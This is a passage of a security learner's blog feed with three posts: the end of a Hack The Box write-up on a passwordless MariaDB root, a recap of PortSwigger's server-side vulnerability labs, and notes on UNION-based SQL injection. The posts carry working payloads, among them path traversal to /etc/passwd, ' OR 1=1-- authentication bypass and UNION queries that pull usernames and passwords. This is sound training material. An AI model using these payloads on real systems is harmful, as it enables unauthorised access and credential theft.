<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mariadb -h 10.129.x.x -u root
</code></pre></div></div>

<blockquote>
  <p><strong>Where I got stuck.</strong> My client is a lot newer (12.x) than the server (10.3),
and the new client tries to negotiate TLS by default. The server doesn’t support
it, so the handshake dies before auth with:
<code class="language-plaintext highlighter-rouge">ERROR 2026 (HY000): TLS/SSL error: SSL is required, but the server does not support it</code>.
The fix is to tell the client not to require SSL. Nothing wrong with the creds or
the command, just a version mismatch.</p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mariadb -h 10.129.x.x -u root --skip-ssl
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">root</code> has no password, so it’s straight in at the Enter key. After that it’s standard SQL enumeration:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SHOW DATABASES;
USE &lt;interesting_db&gt;;
SHOW TABLES;
DESCRIBE &lt;table&gt;;
SELECT * FROM &lt;table&gt;;
</code></pre></div></div>

<h2 id="foothold">Foothold</h2>

<p>There’s no shell here. The foothold is the data itself. Walking the non-default databases and dumping the tables surfaces the credentials the box wants you to find. <code class="language-plaintext highlighter-rouge">SHOW DATABASES</code> filters out the noise (<code class="language-plaintext highlighter-rouge">information_schema</code>, <code class="language-plaintext highlighter-rouge">mysql</code>, <code class="language-plaintext highlighter-rouge">performance_schema</code>) and points you at the one that matters.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>A passwordless <code class="language-plaintext highlighter-rouge">root</code> on an exposed 3306 is game over. No exploit, no cracking, just connect and read. Worth remembering how much <code class="language-plaintext highlighter-rouge">nmap</code>’s <code class="language-plaintext highlighter-rouge">mysql-info</code> gives up before you even authenticate.</li>
  <li>New client plus old server equals a TLS mismatch. <code class="language-plaintext highlighter-rouge">--skip-ssl</code> (or <code class="language-plaintext highlighter-rouge">--ssl=0</code>) is the first thing to try when a modern MariaDB client refuses to talk to an old server. I’ll reach for it straight away next time instead of second-guessing my command.</li>
  <li>SQL enumeration is a fixed muscle-memory loop: <code class="language-plaintext highlighter-rouge">SHOW DATABASES</code>, then <code class="language-plaintext highlighter-rouge">USE</code>, then <code class="language-plaintext highlighter-rouge">SHOW TABLES</code>, then <code class="language-plaintext highlighter-rouge">DESCRIBE</code>, then <code class="language-plaintext highlighter-rouge">SELECT</code>. The same handful of commands works on every MySQL/MariaDB target.</li>
</ul>]]></content><author><name>mariustudor07</name></author><category term="HTB Writeups" /><category term="mysql" /><category term="mariadb" /><category term="databases" /><category term="starting-point" /><summary type="html"><![CDATA[A passwordless MariaDB on 3306, an SSL handshake that fights a modern client, and reading creds straight out of the tables.]]></summary></entry><entry><title type="html">Completing PortSwigger’s Server-Side Vulnerabilities Path (Apprentice)</title><link href="https://mariustudor07.github.io/blog/portswigger-apprentice-path/" rel="alternate" type="text/html" title="Completing PortSwigger’s Server-Side Vulnerabilities Path (Apprentice)" /><published>2026-07-09T00:00:00+00:00</published><updated>2026-07-09T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/portswigger-apprentice-path</id><content type="html" xml:base="https://mariustudor07.github.io/blog/portswigger-apprentice-path/"><![CDATA[<p>I just finished the Apprentice “Server-side vulnerabilities” learning path in
PortSwigger’s Web Security Academy. That’s all 52 steps, front to back. My tool
the whole way through was Burp Suite: intercept, tamper, repeat. Here’s a rundown
of what the path covers and the lessons that actually stuck.</p>

<h2 id="the-workflow">The workflow</h2>

<p>Almost every lab came down to the same loop, with Burp sitting in the middle:</p>

<ol>
  <li>Proxy the traffic and read what the browser is really sending.</li>
  <li>Repeater to replay and mutate a single request until it breaks.</li>
  <li>Intruder when I needed to fuzz a parameter or brute a small set.</li>
</ol>

<p>Getting fast in Repeater made the biggest difference by far. Most labs are one
well-crafted request away from being solved.</p>

<h2 id="what-the-path-covers">What the path covers</h2>

<p>It’s all server-side, so these are bugs in what the application does with your
input after it reaches the server:</p>

<table>
  <thead>
    <tr>
      <th>Area</th>
      <th>What clicked</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Path traversal</td>
      <td><code class="language-plaintext highlighter-rouge">../../../etc/passwd</code>, and the lazy filters that pretend to stop it.</td>
    </tr>
    <tr>
      <td>SQL injection</td>
      <td>Auth bypass with <code class="language-plaintext highlighter-rouge">' OR 1=1--</code>, then reading data once I understood the query I was breaking into.</td>
    </tr>
    <tr>
      <td>Authentication</td>
      <td>Username enumeration from response and timing differences, then brute-forcing the weak spot.</td>
    </tr>
    <tr>
      <td>OS command injection</td>
      <td>Chaining shell metacharacters where user input reaches a system call.</td>
    </tr>
    <tr>
      <td>Access control</td>
      <td>IDORs and unprotected admin functions, where the server just trusts the client to stay in its lane.</td>
    </tr>
    <tr>
      <td>Information disclosure</td>
      <td>Error messages, comments, and backup files leaking exactly what you need next.</td>
    </tr>
    <tr>
      <td>Business logic</td>
      <td>The bugs that aren’t a payload at all. You just use the app in a way the developer never tested.</td>
    </tr>
    <tr>
      <td>File upload, SSRF, XXE</td>
      <td>Getting the server to fetch, parse, or run something it never should have.</td>
    </tr>
  </tbody>
</table>

<h2 id="the-lessons-that-stuck">The lessons that stuck</h2>

<ul>
  <li>Never trust the client. Nearly every category comes back to the same root
cause: the server assumed the browser played fair. It didn’t.</li>
  <li>Read the response, not just the request. Half my wins came from noticing a
status code, a timing difference, or a leaked field I wasn’t meant to see.</li>
  <li>Understand the bug before the payload. Pasting <code class="language-plaintext highlighter-rouge">' OR 1=1--</code> solves one lab.
Understanding why it works solves the next fifty.</li>
  <li>The server is the trust boundary. Everything in this path lives on the far side
of it, which is exactly why client-side checks never count for anything.</li>
</ul>

<h2 id="where-im-going-next">Where I’m going next</h2>

<p>Server-side apprentice is the foundation. Next up is the client-side path (XSS,
CSRF and friends), then the Practitioner labs, where these same classes get real
filters and defences layered on top. At some point I also want to run a track
through Caido to compare the workflow against Burp, but that’s a writeup for
another day.</p>

<blockquote>
  <p>Only ever test targets you’re allowed to: the Web Security Academy’s own labs,
your own apps, or a scoped engagement. Never a live site you don’t own.</p>
</blockquote>]]></content><author><name>mariustudor07</name></author><category term="Web Exploitation" /><category term="portswigger" /><category term="burp" /><category term="web-security-academy" /><summary type="html"><![CDATA[I finished all 52 steps of PortSwigger's Apprentice 'Server-side vulnerabilities' path with Burp. Here's what it covers and what actually stuck.]]></summary></entry><entry><title type="html">SQL Injection: UNION-based Data Extraction</title><link href="https://mariustudor07.github.io/blog/sql-injection-union-attacks/" rel="alternate" type="text/html" title="SQL Injection: UNION-based Data Extraction" /><published>2026-07-05T00:00:00+00:00</published><updated>2026-07-05T00:00:00+00:00</updated><id>https://mariustudor07.github.io/blog/sql-injection-union-attacks</id><content type="html" xml:base="https://mariustudor07.github.io/blog/sql-injection-union-attacks/"><![CDATA[<p>Notes on the classic UNION-based SQLi workflow from the PortSwigger labs.</p>

<h2 id="step-1-find-the-column-count">Step 1: Find the column count</h2>

<p><code class="language-plaintext highlighter-rouge">ORDER BY</code> climbing until it errors, or incrementing <code class="language-plaintext highlighter-rouge">NULL</code>s:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s1">' UNION SELECT NULL--
'</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="c1">--</span>
<span class="s1">' UNION SELECT NULL,NULL,NULL--   -- no error = 3 columns
</span></code></pre></div></div>

<h2 id="step-2-find-a-column-that-holds-text">Step 2: Find a column that holds text</h2>

<p>Replace each <code class="language-plaintext highlighter-rouge">NULL</code> with a string until the value renders on the page:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s1">' UNION SELECT '</span><span class="n">a</span><span class="s1">',NULL,NULL--
</span></code></pre></div></div>

<h2 id="step-3-extract-the-data">Step 3: Extract the data</h2>

<p>Once you have a text-compatible column, pull real data:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s1">' UNION SELECT username, password, NULL FROM users--
</span></code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Concept</th>
      <th>Why it matters</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Column count</td>
      <td>UNION requires matching column numbers</td>
    </tr>
    <tr>
      <td>Data type</td>
      <td>The injected column must accept strings</td>
    </tr>
    <tr>
      <td>DB fingerprint</td>
      <td><code class="language-plaintext highlighter-rouge">version()</code>, <code class="language-plaintext highlighter-rouge">@@version</code> etc. differ per engine</td>
    </tr>
  </tbody>
</table>

<h2 id="takeaway">Takeaway</h2>

<blockquote>
  <p>UNION attacks are about <em>shape</em>: match the column count and a compatible type,
then the rest of the database is one query away.</p>
</blockquote>]]></content><author><name>mariustudor07</name></author><category term="Web Exploitation" /><category term="sqli" /><category term="databases" /><category term="union" /><summary type="html"><![CDATA[Using UNION SELECT to pull data out of other tables once you know the column count and a text-compatible column.]]></summary></entry></feed>